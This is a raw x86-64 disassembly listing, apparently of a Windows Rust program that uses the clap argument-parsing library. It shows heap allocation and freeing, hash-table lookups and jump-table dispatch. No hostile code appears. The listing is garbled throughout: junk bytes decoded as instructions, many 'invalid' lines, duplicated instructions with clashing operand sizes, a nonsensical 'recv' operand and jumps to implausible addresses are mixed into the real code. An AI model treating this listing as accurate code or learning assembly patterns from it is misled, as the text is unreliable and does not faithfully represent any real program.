movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
mov rdi, r8
test rax, rax
jne 0x140038fdf
jmp case.0x140038f85.1
mov rbx, qword [rsp + 0x60]
mov r15, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x78]
mov r14, qword [rsp + 0x80]
test rax, rax
je 0x140038fbf
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r15, r15
je 0x140038fd6
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r14, r14
je case.0x140038f85.1
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp case.0x140038f85.1
lea rcx, str.Fatal_internal_error._Please_consider_filing_a_bug_report_at_https:__github.com_clap_rs_clap_issues
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fclap_3.2.25_srcparserparser.rs
mov edx, 0x63
call fcn.140161290
ud2
add esp, 0x38
ret
or eax, 0x1d8d33
test rcx, rcx
jne 0x14003c64b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
ror byte [rdi], 0x84
sti
add dword [rax], eax
invalid
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x60
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14003c83c
mov r12, rax
mov byte [rax + 0x19], 3
mov qword [rax + 0x20], 0
mov qword [rax + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rax + 0x48], xmm0
mov byte [rax + 0x58], 3
mov byte [rax + 0x5b], 0
mov rbp, qword [r14 + 0x250]
mov r13, qword [r14 + 0x258]
mov ebp, dword [rsi + 0x258]
mov ebp, dword [rsi + 0x258]
mov eax, r13d
shr al, 6
and al, 1
test bpl, 0x40
movzx eax, al
mov ecx, 1
cmove ecx, eax
mov byte [r12 + 0x5a], cl
mov rcx, rbp
mov rdx, r13
call fcn.14001a230
mov byte [r12 + 0x59], al
or r13, rbp
bt r13, 0x29
jb 0x14003c6da
lea rcx, [0x14016aff6]
mov eax, 6
jmp 0x14003c701
invalid
mov eax, 4
cmp qword [r14 + 0xe0], 0
je 0x14003c6ff
xor ecx, ecx
test r13d, 0x8000000
lea rdx, [0x14016a144]
cmove rcx, rdx
jmp 0x14003c701
xor ecx, ecx
mov qword [r12 + 0x30], rcx
mov qword [r12 + 0x38], rax
mov qword [rsp + 0xb0], r12
movsb byte [rdi], byte [rsi]
and al, 0xb0
add byte [rax], al
add byte [rcx + rcx*4 - 0x44], cl
and al, 0xb8
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*8], ah
and al, 0xc0
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add dh, al
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rbx], al
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x27], xmm0
mov rax, qword [rbx + 0x10]
mov qword [rsp + 0x37], rax
movups xmm0, xmmword [rsp + 0x20]
movaps xmmword [rsp + 0x70], xmm0
mov rax, qword [rsp + 0x2f]
mov qword [rsp + 0x7f], rax
and al, 0x7f
and al, 0x7f
mov rax, qword [rsp + 0x37]
mov qword [rsp + 0x87], rax
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x27], xmm0
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0x37], rax
movups xmm0, xmmword [rsp + 0x20]
movaps xmmword [rsp + 0x90], xmm0
mov rax, qword [rsp + 0x2f]
invalid
mov qword [rsp + 0x9f], rax
mov rax, qword [rsp + 0x37]
mov qword [rsp + 0xa7], rax
mov byte [rsp + 0x20], 0
mov byte [rsp + 0x28], 2
mov rax, qword [rsp + 0x7f]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x87]
mov qword [rsp + 0x40], rax
movaps xmm0, xmmword [rsp + 0x70]
movups xmmword [rsp + 0x29], xmm0
mov byte [rsp + 0x48], recv
mov byte [rsp + 0x50], 2
mov rax, qword [rsp + 0x9f]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0xa7]
mov qword [rsp + 0x68], rax
movaps xmm0, xmmword [rsp + 0x90]
movups xmmword [rsp + 0x51], xmm0
lea rdx, [rsp + 0xb0]
lea r8, [rsp + 0x20]
mov rcx, rsi
call fcn.140028f00
nop
add rsp, 0xd8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
sbb byte [rax], al
add byte [rax], al
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, 0x60
invalid
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
call fcn.14015d7f0
ud2
and byte [rcx + rcx*4 - 0x3d], cl
mov rdi, rdx
mov rsi, rcx
mov r15, qword [rdx]
mov rax, qword [r15 + 0x48]
mov r14, qword [r15 + 0x50]
sub rax, r14
cmp rax, 3
jbe case.0x1400382cc.58
lea rcx, [r14 + r14*4]
shl rcx, 3
add rcx, qword [r15 + 0x40]
mov r8d, 0xa0
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
add r14, 4
mov qword [r15 + 0x50], r14
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsi], xmm0
movups xmmword [rsi + 0x10], xmm1
mov rax, qword [rdi + 0x20]
mov qword [rsi + 0x20], rax
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
lea rcx, [r15 + 0x40]
mov r8d, 4
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
mov rdx, r14
call fcn.14015dc80
mov r14, qword [r15 + 0x50]
jmp 0x14003c888
movaps xmmword [rsp + 0x180], xmm6
mov qword [rsp + 0x38], r8
mov r12, rdx
mov qword [rsp + 0x110], rcx
mov rax, qword [rdx + 0x10]
mov r14, qword [rax + 0xa0]
mov rax, qword [rax + 0xb0]
lea rax, [rax + rax*4]
shl rax, 7
invalid
add rax, r14
mov qword [rsp + 0x160], rax
xorps xmm6, xmm6
lea r15, [rsp + 0x40]
jl 0x14003c974
lea r13, [rsp + 0xa8]
invalid
jl 0x14003c974
lea r13, [rsp + 0xa8]
pcmpeqd xmm7, xmm7
mov qword [rsp + 0x118], rdx
jmp 0x14003c9c1
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
and al, 0x50
mov qword [rsp + 0x98], rcx
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x90], rcx
movzx ecx, byte [rsp + 0x67]
shl ecx, 0x10
movzx edx, word [rsp + 0x65]
or edx, ecx
mov ebp, dword [rsp + 0x61]
shl rdx, 0x28
shl rbp, 8
invalid
or byte [rax + 9], cl
invalid
or rbp, rdx
or rbp, rax
nop dword [rax]
add r14, 0x280
cmp bpl, 0x16
jne 0x14003d6da
add byte [rax - 0x80], al
std
invalid
cmp r14, qword [rsp + 0x160]
je 0x14003d6cc
mov qword [rsp + 0x120], rdi
mov qword [rsp + 0x128], rsi
and al, 0x20
add dword [rax], eax
add byte [rax - 0x77], cl
mov ah, 0x24
sub byte [rcx], al
add byte [rax], al
mov qword [rsp + 0xa0], rbp
mov rbp, qword [r14 + 0x200]
test rbp, rbp
je 0x14003cd20
mov rax, qword [rsp + 0x38]
cmp qword [rax + 0x18], 0
je 0x14003cd20
mov rsi, qword [r14 + 0x208]
mov rdi, qword [rsp + 0x38]
mov rcx, qword [rdi + 0x38]
mov rdx, qword [rdi + 0x40]
mov r8, rsi
call fcn.140037220
mov r8, qword [rdi + 0x20]
mov rdx, qword [rdi + 0x30]
mov r9, qword [rdi]
mov r10, qword [rdi + 8]
mov rcx, rax
shr rcx, 0x39
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r11d, r11d
and rax, r10
movdqu xmm1, xmmword [r9 + rax]
movdqa xmm2, xmm0
pcmpeqb xmm2, xmm1
pmovmskb edi, xmm2
nop word cs:[rax + rax]
test di, di
je 0x14003cab0
tzcnt ecx, edi
add rcx, rax
and rcx, r10
shl rcx, 3
mov rbx, r9
sub rbx, rcx
mov rcx, qword [rbx - 8]
mov ecx, dword [rbx - 8]
mov ecx, dword [rbx - 8]
cmp rdx, rcx
jbe 0x14003d745
lea ebx, [rdi - 1]
and ebx, edi
shl rcx, 7
mov edi, ebx
cmp qword [r8 + rcx + 0x78], rsi
js 0x14003cb1c
invalid
js 0x14003cb1c
enter 0x26eb, 0x66
nop dword [rax + rax]
jmp 0x14003cad0
pcmpeqb xmm1, xmm7
pmovmskb ecx, xmm1
xlatb
leave
xlatb
leave
test ecx, ecx
jne 0x14003cd20
add rax, r11
add rax, 0x10
add r11, 0x10
jmp 0x14003ca4e
mov rdx, qword [r8 + rcx + 0x40]
test rdx, rdx
je 0x14003cb56
mov rcx, qword [r8 + rcx + 0x30]
cmp rdx, 4
jae 0x14003caec
xor eax, eax
xor r8d, r8d
jmp 0x14003cb1c
mov r9, rdx
and r9, 0xfffffffffffffffc
lea r10, [rcx + 0x58]
xor eax, eax
xor r8d, r8d
nop dword [rax]
add rax, qword [r10 - 0x48]
add rax, qword [r10 - 0x30]
add rax, qword [r10 - 0x18]
add rax, qword [r10]
add cl, byte [rcx - 0x7d]
rol byte [rcx + rcx*2], 0x83
ret 0x4d60
cmp ecx, eax
jne 0x14003cb00
add cl, byte [rcx - 0x7d]
rol byte [rcx + rcx*2], 0x83
ret 0x4d60
and edx, 3
je 0x14003cb4d
lea r8, [r8 + r8*2]
lea rcx, [rcx + r8*8]
lea ecx, [rcx + rax*8]
add rcx, 0x10
shl rdx, 3
lea rdx, [rdx + rdx*2]
xor r8d, r8d
nop dword [rax + rax]
add rax, qword [rcx + r8]
add r8, 0x18
cmp rdx, r8
jne 0x14003cb40
test rax, rax
test eax, eax
jne 0x14003cd20
mov qword [rsp + 0xa8], 8
and al, 0xa8
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rdi], cl
movups xmmword [rax], xmm6
lea rax, [rsp + 0xb0]
movups xmmword [rax], xmm6
mov rdi, qword [r14 + 0x1f0]
add byte [rax], al
shl rbp, 4
add rbp, rdi
jmp 0x14003cb9f
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rdi, 0x10
cmp rdi, rbp
je 0x14003cce0
mov rdx, qword [rdi]
mov r8, qword [rdi + 8]
mov rcx, r15
call fcn.14009faa0
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x50]
test rsi, rsi
je 0x14003cc10
mov rbx, qword [rsp + 0x48]
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x28], 0
mov rcx, r15
mov rdx, r12
mov r8, r14
mov r9, rsi
call fcn.14003b820
dec dword [rax - 0x7b]
invalid
je case.0x140010662.387
dec dword [rax - 0x7b]
invalid
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
invalid
call qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
mov rcx, qword [rsp + 0x40]
cmp rcx, 9
je case.0x14003cc63.1
jmp 0x14003cc41
mov r9, qword [rsp + 0x48]
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x28], 0
and al, 0x28
add byte [rcx + rcx*4 - 7], cl
and al, 0x28
add byte [rcx + rcx*4 - 7], cl
mov rdx, r12
mov r8, r14
call fcn.14003b820
mov rcx, qword [rsp + 0x40]
cmp rcx, 9
je case.0x14003cc63.1
invalid
invalid
invalid
cmp rcx, 7
ja case.0x14003cc63.1
mov r8, qword [rsp + 0x48]
mov rax, qword [rsp + 0x50]
lea rdx, [0x140208568]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
mov rsi, r8
test rax, rax
jne 0x14003cb80
jmp case.0x14003cc63.1
mov r13, qword [rsp + 0x60]
mov r15, qword [rsp + 0x68]
and al, 0x68
and al, 0x68
mov rsi, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x80]
test rax, rax
je 0x14003cca1
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r15, r15
je 0x14003ccb8
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rbx, rbx
lea r15, [rsp + 0x40]
lea r13, [rsp + 0xa8]
jne 0x14003cb80
jmp case.0x14003cc63.1
mov rcx, r12
mov rsi, qword [rsp + 0x38]
mov rdx, rsi
mov r8, r14
mov r9b, 2
call fcn.140053020
mov qword [rsp + 0x20], rsi
mov rcx, r15
mov ecx, edi
mov rdx, r12
mov r8, r14
mov r9, r13
call fcn.140053620
movzx eax, byte [rsp + 0x60]
cmp rax, 0x16
jne 0x14003c967
test dword [rsp + rdi*8 - 1], ecx
invalid
nop dword [rax + rax]
mov rbp, qword [r14 + 0x1e8]
test rbp, rbp
je 0x14003cff0
mov rax, qword [rsp + 0x38]
cmp qword [rax + 0x18], 0
je 0x14003cff0
mov r13, qword [r14 + 0x208]
mov rbx, qword [rsp + 0x38]
mov rcx, qword [rbx + 0x38]
mov rdx, qword [rbx + 0x40]
mov edx, dword [rbx + 0x40]
mov qword [rsp + 0x158], rcx
mov qword [rsp + 0x150], rdx
add byte [rax], al
add byte [rax], al
mov r8, r13
call fcn.140037220
mov r12, qword [rbx + 0x20]
mov rsi, qword [rbx + 0x30]
mov rdi, qword [rbx]
mov r15, qword [rbx + 8]
mov rcx, rax
shr rcx, 0x39
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor edx, edx
and rax, r15
movdqu xmm1, xmmword [rdi + rax]
movdqa xmm2, xmm0
pcmpeqb xmm2, xmm1
pmovmskb r8d, xmm2
nop dword [rax + rax]
test r8w, r8w
je 0x14003ce00
tzcnt ecx, r8d
add rcx, rax
and rcx, r15
shl rcx, 3
mov r9, rdi
sub r9, rcx
mov rcx, qword [r9 - 8]
cmp rsi, rcx
jbe 0x14003d753
lea r9d, [r8 - 1]
and r9d, r8d
shl rcx, 7
mov r8d, r9d
cmp qword [r12 + rcx + 0x78], r13
jne 0x14003cdb0
jmp 0x14003cff0
nop word cs:[rax + rax]
pcmpeqb xmm1, xmm7
pmovmskb ecx, xmm1
test ecx, ecx
jne 0x14003ce1c
add rax, rdx
add rax, 0x10
add rdx, 0x10
jmp 0x14003cd96
mov rcx, qword [r14 + 0x1d8]
lea rax, [rbp*4]
add dword [rax], eax
add byte [rax - 0x73], cl
add al, 0xad
add byte [rax], al
add byte [rax], al
add rax, rbp
lea rax, [rcx + rax*8]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0xf8], r14
mov rbx, rcx
lea rax, [rcx + 0x28]
mov qword [rsp + 0x138], rax
mov r13, qword [rcx + 0x10]
mov rcx, qword [rsp + 0x158]
mov rdx, qword [rsp + 0x150]
mov r8, r13
call fcn.140037220
mov rcx, rax
mov ecx, eax
mov ecx, eax
shr rcx, 0x39
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor edx, edx
and rax, r15
movdqu xmm1, xmmword [rdi + rax]
movdqa xmm2, xmm0
pcmpeqb xmm2, xmm1
pmovmskb r8d, xmm2
nop dword [rax]
test r8w, r8w
je 0x14003cee0
tzcnt ecx, r8d
add rcx, rax
and rcx, r15
shl rcx, 3
mov r9, rdi
sub r9, rcx
mov rcx, qword [r9 - 8]
cmp rsi, rcx
jbe 0x14003d753
or byte [rax], al
invalid
or byte [rax], al
add byte [rbp - 0x73], al
inc qword [rbp + 0x21]
ror dword [rax - 0x3f], 0xe1
invalid
add byte [rax], al
lea r9d, [r8 - 1]
and r9d, r8d
shl rcx, 7
mov r8d, r9d
cmp qword [r12 + rcx + 0x78], r13
jne 0x14003cea0
jmp 0x14003cf00
pcmpeqb xmm1, xmm7
pmovmskb ecx, xmm1
test ecx, ecx
jne case.0x14002d090.351
add rax, rdx
add rax, 0x10
add rdx, 0x10
ror byte [rax - 0x7d], 1
rcl byte [rax], 0x48
add edx, 0x10
jmp 0x14003ce88
mov qword [rsp + 0x100], rbx
mov rax, qword [rbx]
mov qword [rsp + 0x148], rax
and al, 0x48
add dword [rax], eax
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
test byte [rax + rax], al
invalid
mov rax, qword [r12 + rcx + 0x58]
test rax, rax
je case.0x14002d090.351
mov rcx, qword [r12 + rcx + 0x48]
or al, 0x48
lea rax, [rax + rax*2]
lea rax, [rcx + rax*8]
mov qword [rsp + 0x140], rax
jmp 0x14003cf66
nop word cs:[rax + rax]
mov rcx, qword [rsp + 0x108]
add rcx, 0x18
cmp rcx, qword [rsp + 0x140]
je case.0x14002d090.351
mov qword [rsp + 0x108], rcx
mov rbx, qword [rcx + 0x10]
test rbx, rbx
je 0x14003cf50
mov rax, qword [rsp + 0x108]
mov rbp, qword [rax]
mov ebp, dword [rax]
mov ebp, dword [rax]
mov rax, qword [rsp + 0x100]
mov r14, qword [rax + 8]
shl rbx, 5
xor r13d, r13d
in eax, dx
in eax, dx
jmp 0x14003cfa9
invalid
add r13, 0x20
cmp rbx, r13
jmp 0x14003d01c
cmpsd dword [rsi], dword [rdi]
jmp 0x14003d01c
cmp r14, qword [rbp + r13 + 0x10]
cmp esi, dword [rbp + rbp + 0x10]
jne 0x14003cfa0
mov rdx, qword [rbp + r13]
mov rcx, qword [rsp + 0x148]
mov r8, r14
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14003cfa0
xlatb
jmp 0x14003d3a0
mov rcx, qword [rsp + 0x138]
cmp rcx, qword [rsp + 0x130]
mov r14, qword [rsp + 0xf8]
clc
add byte [rax], al
add byte [rdi], cl
test dword [rsi - 2], edx
push rsi
invalid
invalid
invalid
push rsi
invalid
nop dword [rax]
mov rbp, qword [r14 + 0x1d0]
test rbp, rbp
mov r12, qword [rsp + 0x118]
movsb byte [rdi], byte [rsi]
and al, 0x18
add dword [rax], eax
add byte [rbp + rcx*4 + 0x7c], cl
and al, 0x40
lea r13, [rsp + 0xa8]
je case.0x14003207d.131
mov rax, qword [rsp + 0x38]
cmp qword [rax + 0x18], 0
je 0x14003d0f0
js 0x14003d036
add byte [rdi], cl
test bl, cl
add byte [rax], al
add byte [rcx - 0x75], cl
mov dh, 8
add al, byte [rax]
add byte [rax - 0x75], cl
mov rsi, qword [r14 + 0x208]
or byte [rdx], al
add byte [rax], al
mov rdi, qword [rsp + 0x38]
mov rcx, qword [rdi + 0x38]
mov rdx, qword [rdi + 0x40]
jl 0x14003d054
cmp byte [rax - 0x75], cl
cmp byte [r8 - 0x75], r9b
push rdi
mov r8, rsi
mov edx, dword [rdi + 0x40]
mov r8, rsi
call fcn.140037220
mov r8, qword [rdi + 0x20]
mov rdx, qword [rdi + 0x30]
mov r9, qword [rdi]
mov r10, qword [rdi + 8]
mov rcx, rax
shr rcx, 0x39
shr ecx, 0x39
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
jo 0x14003d028
add byte [rbp + 0x31], al
invalid
jo 0x14003d028
add byte [rbp + 0x31], al
fisttp dword [rcx + riz - 0x30]
invalid
and rax, r10
sal bl, 1
movq mm1, qword [r9 + rax]
movdqu xmm1, xmmword [r9 + rax]
movdqa xmm2, xmm0
pcmpeqb xmm2, xmm1
pmovmskb edi, xmm2
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
test di, di
je 0x14003d0d0
invalid
cmp esi, ebx
bsf ecx, edi
tzcnt ecx, edi
add rcx, rax
and rcx, r10
shl rcx, 3
mov rbx, r9
sub rbx, rcx
sub ebx, ecx
mov rcx, qword [rbx - 8]
cmp rdx, rcx
cmp edx, ecx
cmp edx, ecx
jbe 0x14003d745
lea ebx, [rdi - 1]
and ebx, edi
shl rcx, 7
shl ecx, 7
shl ecx, 7
mov edi, ebx
cmp qword [r8 + rcx + 0x78], rsi
jne 0x14003d090
jmp case.0x14003207d.131
pcmpeqb xmm1, xmm7
pmovmskb ecx, xmm1
test ecx, ecx
jne 0x14003d0f0
invalid
add rax, r11
add rax, 0x10
add r11, 0x10
jmp 0x14003d06c
invalid
or dword [rdi], 0x1f
add byte [rax], 0
add byte [rax], al
mov qword [rsp + 0xa8], 8
lea rax, [rsp + 0xb0]
add byte [rax], al
add byte [rdi], cl
adc dword [rax], esi
invalid
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rdi], cl
adc dword [rax], esi
invalid
xor byte [rcx - 0x75], cl
mov esi, 0x1c0
invalid
mov rdi, qword [r14 + 0x1c0]
add byte [rax - 0x3f], cl
in eax, 4
shl rbp, 4
add rbp, rdi
jmp 0x14003d13f
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rdi, 0x10
cmp rdi, rbp
je 0x14003d280
mov rdx, qword [rdi]
mov r8, qword [rdi + 8]
mov rcx, r15
stc
invalid
stc
call fcn.14009faa0
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
test rsi, rsi
je 0x14003d1b0
mov rbx, qword [rsp + 0x48]
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x28], 0
mov rcx, r15
mov ecx, edi
mov ecx, edi
mov rdx, r12
mov r8, r14
mov r9, rsi
call fcn.14003b820
test rbx, rbx
je 0x14003d199
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x40]
and al, 0x40
cmp rcx, 9
je case.0x14003d203.1
jmp 0x14003d1e1
mov r9, qword [rsp + 0x48]
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x28], 0
mov rcx, r15
mov rdx, r12
mov r8, r14
call fcn.14003b820
invalid
dec dword [rax - 0x75]
and al, 0x40
cmp rcx, 9
or dword [rdi], ecx
test byte [rcx - 1], dl
invalid
invalid
invalid
or dword [rdi], ecx
test byte [rcx - 1], dl
invalid
cmp rcx, 7
ja case.0x14003d203.1
invalid
invalid
dec dword [rbx + rcx*4 + 0x44]
and al, 0x48
mov r8, qword [rsp + 0x48]
mov rax, qword [rsp + 0x50]
lea rdx, [0x1402085e8]
movsxd rcx, dword [rdx + rcx*4]
or al, 0x8a
or al, 0x8a
mov cl, byte [rax + 1]
sar edi, 1
jmp rcx
invalid
add rcx, rdx
jmp rcx
mov rsi, r8
mov esi, eax
test rax, rax
jne case.0x1401243a5.286
invalid
invalid
jmp case.0x14003d203.1
sbb al, 0xff
invalid
mov r13, qword [rsp + 0x60]
and al, 0x60
mov r15, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x78]
js 0x14003d26e
mov ebx, dword [rsp + 0x80]
js 0x14003d26e
mov ebx, dword [rsp + 0x80]
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rdi + rcx + 0x48], 0x8b
or eax, 0x1d8127
test rax, rax
je 0x14003d241
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r15, r15
je 0x14003d258
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r13
add byte [rcx], dh
ror byte [rbp - 0x77], cl
call 0xedd3e855
adc al, byte [rax]
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rbx, rbx
lea r15, [rsp + 0x40]
lea r13, [rsp + 0xa8]
test al, 0
add byte [rax], al
test al, 0
add byte [rax], al
jne case.0x1401243a5.286
jmp case.0x14003d203.1
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x38]
mov eax, dword [rsp + 0x38]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r14
mov rcx, r15
mov rdx, r12
mov r8b, 3
xor r9d, r9d
call fcn.1400383f0
mov rax, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x50]
cmp rax, 9
jne 0x14003d2de
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x60]
invalid
mov qword [rsp + 0x90], rax
mov rbp, qword [rsp + 0x68]
jmp case.0x14003d4f8.1
sal dh, cl
invalid
invalid
invalid
sal dh, cl
invalid
cmp rax, 7
ja case.0x14003d2f2.1
lea rcx, [0x140208608]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov r13, rsi
test rdi, rdi
je case.0x14003d2f2.1
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
lodsd eax, dword [rsi]
adc al, byte [rax]
lodsd eax, dword [rsi]
adc al, byte [rax]
lea r13, [rsp + 0xa8]
nop word cs:[rax + rax]
mov rbp, qword [rsp + 0xa0]
and rbp, 0xffffffffffffff00
or rbp, 0x16
mov rdi, qword [rsp + 0x120]
mov rsi, qword [rsp + 0x128]
add byte [rax - 0x75], cl
mov ah, 0x24
sub byte [rcx], al
add byte [rax], al
jmp case.0x14003d4f8.1
mov rbp, qword [rsp + 0x60]
mov r15, qword [rsp + 0x68]
mov edi, dword [rsp + 0x68]
invalid
mov edi, dword [rsp + 0x68]
mov r13, qword [rsp + 0x78]
and al, 0x78
mov rbx, qword [rsp + 0x80]
test rdi, rdi
je 0x14003d376
mov rcx, qword [0x140215360]
or eax, 0x1d7ff5
jg 0x14003d387
add byte [rcx], dh
ror byte [rcx - 0x77], cl
invalid
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
lodsb al, byte [rsi]
adc al, byte [rax]
lodsb al, byte [rsi]
adc al, byte [rax]
test r15, r15
je 0x14003d38d
invalid
adc cl, byte [rax - 0x75]
or eax, 0x1d7fde
invalid
mov rcx, qword [0x140215360]
add byte [rcx], dh
ror byte [rcx - 0x77], cl
call 0xec9ee98a
adc al, byte [rax]
xor edx, edx
mov r8, rbp
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rbx, rbx
test ebx, ebx
lea r15, [rsp + 0x40]
jne 0x14003d2fc
jne 0x14003d2fc
jmp case.0x14003d2f2.1
mov rcx, qword [rsp + 0x100]
mov rdx, qword [rcx + 0x18]
test rdx, rdx
mov r12, qword [rsp + 0x118]
lea r15, [rsp + 0x40]
lea r13, [rsp + 0xa8]
mov rbp, qword [rsp + 0xa0]
mov r14, qword [rsp + 0xf8]
je 0x14003d328
mov qword [rsp + 0x168], 8
lea rax, [rsp + 0x170]
movups xmmword [rax], xmm6
mov r8, qword [rcx + 0x20]
mov rcx, r15
call fcn.14009faa0
mov rsi, qword [rsp + 0x40]
and al, 0x40
and al, 0x40
mov rax, qword [rsp + 0x50]
test rsi, rsi
je 0x14003d455
mov rdi, qword [rsp + 0x48]
lea rbx, [rsp + 0x168]
add dword [rax], eax
add byte [rax - 0x77], cl
mov dword [rsp + 0x30], ebx
add dword [rax], eax
add byte [rax - 0x77], cl
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x28], 0
mov rcx, r13
mov rdx, r12
mov r8, r14
mov r9, rsi
int1
int1
call fcn.14003b820
test rdi, rdi
mov rdi, rbx
je 0x14003d47f
out 0xe3, eax
invalid
mov rcx, qword [0x140215360]
add byte [rcx], dh
ror byte [rcx - 0x77], cl
invalid
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14003d47f
mov r9, qword [rsp + 0x48]
mov ecx, dword [rsp + 0x48]
lea rdi, [rsp + 0x168]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x28], 0
mov rcx, r13
jmp 0x18de65dc4
mov eax, esi
call fcn.14003b820
jmp 0x18de65dc4
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x30], rax
xor byte [rax - 0x77], cl
jl 0x14003d4b1
sub byte [rcx + rcx*4 + 0x74], cl
and al, 0x20
xor byte [rax - 0x77], cl
jl 0x14003d4b1
sub byte [rcx + rcx*4 + 0x74], cl
and al, 0x20
mov rcx, r15
mov rdx, r12
mov r8b, 3
xor r9d, r9d
call fcn.1400383f0
invalid
dec dword [rax - 0x75]
and al, 0x40
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
invalid
and al, 0x50
cmp rax, 9
jne 0x14003d516
or dword [rbp + 0x5d], esi
mov rax, qword [rsp + 0x58]
pop rax
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x60]
and al, 0x60
and al, 0x60
mov qword [rsp + 0x90], rax
mov rbp, qword [rsp + 0x68]
add byte [rax], al
add byte [rax - 0x75], cl
insb byte [rdi], dx
and al, 0x68
mov rax, qword [rsp + 0xa8]
cmp rax, 7
clc
invalid
ja case.0x14003d4f8.1
hlt
invalid
invalid
clc
invalid
hlt
lea rcx, [0x1402085c8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
add eax, ecx
jmp rax
cmp qword [rsp + 0xb8], 0
